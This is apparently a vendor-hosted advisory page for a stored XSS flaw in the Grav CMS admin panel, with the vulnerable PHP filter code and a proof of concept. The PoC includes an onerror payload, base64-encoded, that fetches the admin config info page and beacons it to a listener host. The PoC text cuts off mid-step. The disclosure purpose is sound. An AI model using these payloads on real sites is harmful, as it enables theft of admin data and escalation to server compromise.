Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-42611 — grav

🟠 CVSS 8.9 — High ✅ No Known Exploit CWE-79 NVD
8.9
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Grav is Vulnerable to Stored XSS via Tag Injection

Summary

A low-privileged (with the ability to create a page) user can cause XSS with the injection of svg element. The XSS can further be escalated to dump the entire system information available under /admin/config/info whenever a Super Admin visits the page; which can further be chained with the use of admin-nonce to do a complete server compromise (RCE).

Details

Affected endpoint: admin/pages/<page>

Affected code: system/src/Grav/Common/Security.php

```php

public static function detectXss($string, array $options = null): ?string

{

// Skip any null or non string values

if (null === $string || !is_string($string) || empty($string)) {

return null;

}

if (null === $options) {

$options = static::getXssDefaults();

}

$enabled_rules = (array)($options['enabled_rules'] ?? null);

$dangerous_tags = (array)($options['dangerous_tags'] ?? null);

if (!$dangerous_tags) {

$enabled_rules['dangerous_tags'] = false;

}

$invalid_protocols = (array)($options['invalid_protocols'] ?? null);

if (!$invalid_protocols) {

$enabled_rules['invalid_protocols'] = false;

}

$enabled_rules = array_filter($enabled_rules, static function ($val) { return !empty($val); });

if (!$enabled_rules) {

return null;

}

// Keep a copy of the original string before cleaning up

$orig = $string;

// URL decode

$string = urldecode($string);

// Convert Hexadecimals

$string = (string)preg_replace_callback('!(&#|\\\)[xX]([0-9a-fA-F]+);?!u', static function ($m) {

return chr(hexdec($m[2]));

}, $string);

// Clean up entities

$string = preg_replace('!(&#[0-9]+);?!u', '$1;', $string);

// Decode entities

$string = html_entity_decode($string, ENT_NOQUOTES | ENT_HTML5, 'UTF-8');

// Strip whitespace characters

$string = preg_replace('!\s!u', ' ', $string);

$stripped = preg_replace('!\s!u', '', $string);

// Set the patterns we'll test against

$patterns = [

// Match any attribute starting with "on" or xmlns

'on_events' => '#(<[^>]+[a-z\x00-\x20\"\'\/])(on[a-z]+|xmlns)\s*=[\s|\'\"].*[\s|\'\"]>#iUu',

// Match javascript:, livescript:, vbscript:, mocha:, feed: and data: protocols

'invalid_protocols' => '#(' . implode('|', array_map('preg_quote', $invalid_protocols, ['#'])) . ')(:|\&\#58)\S.*?#iUu',

// Match -moz-bindings

'moz_binding' => '#-moz-binding[a-z\x00-\x20]*:#u',

// Match style attributes

'html_inline_styles' => '#(<[^>]+[a-z\x00-\x20\"\'\/])(style=[^>]*(url\:|x\:expression).*)>?#iUu',

// Match potentially dangerous tags

'dangerous_tags' => '#</*(' . implode('|', array_map('preg_quote', $dangerous_tags, ['#'])) . ')[^>]*>?#ui'

];

// Iterate over rules and return label if fail

foreach ($patterns as $name => $regex) {

if (!empty($enabled_rules[$name])) {

if (preg_match($regex, $string) || preg_match($regex, $stripped) || preg_match($regex, $orig)) {

return $name;

}

}

}

return null;

}

```

Specifically the line:

```php

'on_events' => '#(<[^>]+[a-z\x00-\x20\"\'\/])(on[a-z]+|xmlns)\s*=[\s|\'\"].*[\s|\'\"]>#iUu',

```

assumes that the on_events will always begin with either whitespace, ', " which can easily be bypassed with a simple payload like:

<img src=x onload=alert('1')>

This XSS Filter practice is broken.

1. Blacklisting every possible scenario that leads to XSS isn't possible.

2. Regex can't parse HTML.

It would be better to use an HTMLPurifier.

PoC

Grav Core + Admin Plugin

Grav Version: v1.7.49.5 - Admin v1.10.49.1

1. Create a low-privileged user with only enough permission to login and perform CRUD on Pages.

![User Perms](https://imgur.com/VkhtE9L.png)

2. Login as the low-privileged user and browse to pages:

![Pages](https://imgur.com/4bmmozN.png)

3. Create a post with the following content:

```

<svg><foreignObject><img src=x onerror=eval(atob('KGFzeW5jKCk9PntsZXQgcj1hd2FpdCBmZXRjaCgnL2dyYXYtYWRtaW4vYWRtaW4vY29uZmlnL2luZm8nKTtsZXQgdD1hd2FpdCByLnRleHQoKTtuYXZpZ2F0b3Iuc2VuZEJlYWNvbignaHR0cDovLzEyNy4wLjAuMTo4MDAxL2dyYXYtbG9nJyx0KX0pKCk7'))></foreignObject></svg>

```

The payload base64 is decoded to:

```javascript

(async()=>{let r=await fetch('/grav-admin/admin/config/info');let t=await r.text();navigator.sendBeacon('http://127.0.0.1:8001/grav-log',t)})();

```

whenever a user with enough privilege visits the attacker-controlled page, a request will be made to the info endpoint and the response will be sent to attacker beacon/listener.

4. Save

![Post Created](https://imgur.com/o33Erj2.png)

5. Start a `nc

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. A user must be tricked into taking some action. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity low, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: Required — someone has to click, open or visit something.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: Low — limited, and the attacker does not choose what is affected.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-42611 is classified as CWE-79: Cross-site Scripting (XSS). User-supplied data is written into a page without escaping, so attacker script runs in the browser of anyone who views it.

Affected software

CVE-2026-42611 is recorded against 2 packages.

  • getgrav/grav (fixed in 2.0.0-beta.2)
  • grav

Timeline and source

Published on 5 May 2026 and last revised on 13 May 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)

Other advisories for this package

getgrav/grav has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-79: Cross-site Scripting (XSS)) in other software:

Details

Severity HIGH
CVSS Score 8.9
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:H
CWE CWE-79
Public Exploit ✅ No
Source NVD
Published 2026-05-05
Updated 2026-08-20
Modified 2026-05-13

Affected Packages

Software From version Fixed in
getgrav/grav — 2.0.0-beta.2
grav — —

Similar Threats

Site Security Check

Is grav part of your stack?

CVE-2026-42611 is rated CVSS 8.9 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026
✓